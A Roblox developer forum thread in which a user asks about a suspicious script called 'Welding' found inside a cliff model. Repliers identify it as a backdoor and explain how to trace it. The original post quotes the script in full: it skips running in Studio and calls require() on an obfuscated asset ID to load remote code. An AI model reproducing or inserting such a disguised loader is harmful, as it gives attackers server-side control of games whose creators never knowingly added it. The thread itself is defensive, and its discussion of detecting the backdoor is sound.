Found a random script in one of my models and not sure if it is a virus or not

So I was going thru the models of my game, and Isaw a script named ‘Welding’ inside of a cliff model.
I checked inside of it and it said:

–This an script of ROBLOX Studio. Do not delete it, this script secures your game from exploiters.

–Thanks.

if not game:GetService(“RunService”):IsStudio() then

require(1378.217256791731*3498298+0.000001)

end

It was only in one of the models, So i got worried and came here for support.

Anybody know what this could be?

2 Likes

It’s a virus, its requiring something.

2 Likes

100% a virus.

Roblox doesn’t add scripts into your game until the game is run.

2 Likes

that is not entirely true…

Normal scripts can require an ID. Plugin creators use require() to automatically update their scripts in-game.

1 Like

Don’t know exactly what it could do, but it is definitely a virus. Delete that, and it also makes no sense, as a welding script would not secure your game from exploiters. And as @ram4c said,

Delete it and just go on with life, good luck on whatever you are building!

1 Like

It’s a backdoor, I decoded it down and it took me to this module:

This is the layout of a backdoor I could dump the constants of the obfuscated script inside but i’m to lazy if you want to do that yourself then here’s a tutorial:

1 Like

I traced back the ID to this:

this is a math equation. Here is the ID if you put it into a calculator:

this script puts the virus into ServerScriptService

and this is the execution:


(credits to @jerkcrybaby for what this really is in post 9 lol) /

You are wrong, this is not a lag nor a promptpurchase script. The script can be easily reverse-engineered using require=print! This is a ROBLOX backdoor which users sell access to buyers. This basically allows people to exploit your game and bypass filtering enabled as this is server-sided.

Hope this helps!

1 Like

Why would you need to reverse engineer it with require=print? The equation is simple math it will take a simple google search to trace it back to the module.

I was not talking about the math equation, I was talking about the following image.

This is basically require(number) encoded into various strings. require=print forces the backdoor ID to be printed into the ROBLOX console.